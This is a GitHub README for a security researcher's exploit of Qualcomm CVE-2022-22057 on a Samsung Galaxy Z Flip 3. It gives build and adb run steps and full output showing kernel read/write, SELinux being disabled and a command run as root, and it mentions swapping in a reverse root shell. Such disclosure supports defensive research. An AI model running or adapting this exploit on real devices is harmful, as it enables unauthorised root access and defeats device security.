Skip to content

Latest commit

 

History

History

Exploit for Qualcomm CVE-2022-22057

The write up can be found here. This is a bug in the Qualcomm kgsl driver that I reported in November 2021. The bug can be used to gain arbitrary kernel memory read and write from the untrusted app domain, which is then used to disable SELinux and gain root.

The exploit is tested on the Samsung Galaxy Z Flip 3 (European version SM-F711B) with firmware version F711BXXS2BUL6, Baseband F711BXXU2BUL4 and Kernel version 5.4.86-qgki-23063627-abF711BXXS2BUL6 (EUX region). The offsets in the exploit refer to that version of the firmware. Apart from the usual offsets in the kernel image, various addresses of the ion memory pools in ion_utils.c are also firmware specific. For reference, I used the following command to compile with clang in ndk-21:

android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline

The exploit is reasonably reliable (~70% on tested device), although it does need to wait a few minutes after start up before running, as there are way too many broken/failed binder calls during the first few minutes of start up. (Not entirely sure whether it is a Qualcomm or Samsung problem)

To test, cross compile the file and then execute with adb:

adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline

If succeeded, it will disable SELinux and run the id command as root and write the results in the /data/local/tmp/id.txt file:

b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
 wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished

There is a long pause after wait complete -1 is printed, which should be less than a minute, this is normal. It can sometimes also take a while to queue the work (after queuing work, waiting to aquire spin lock is printed, can be a couple of minutes, just need to be patient, although that is not common). The exploit normally completes in a couple of minutes.

The file /data/local/tmp/id.txt should confirm that the command was run as root:

b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

A different command can be run by changing the variable cmd in setup_sub_info in work_queue_utils.c. (For example, to pop a reverse root shell).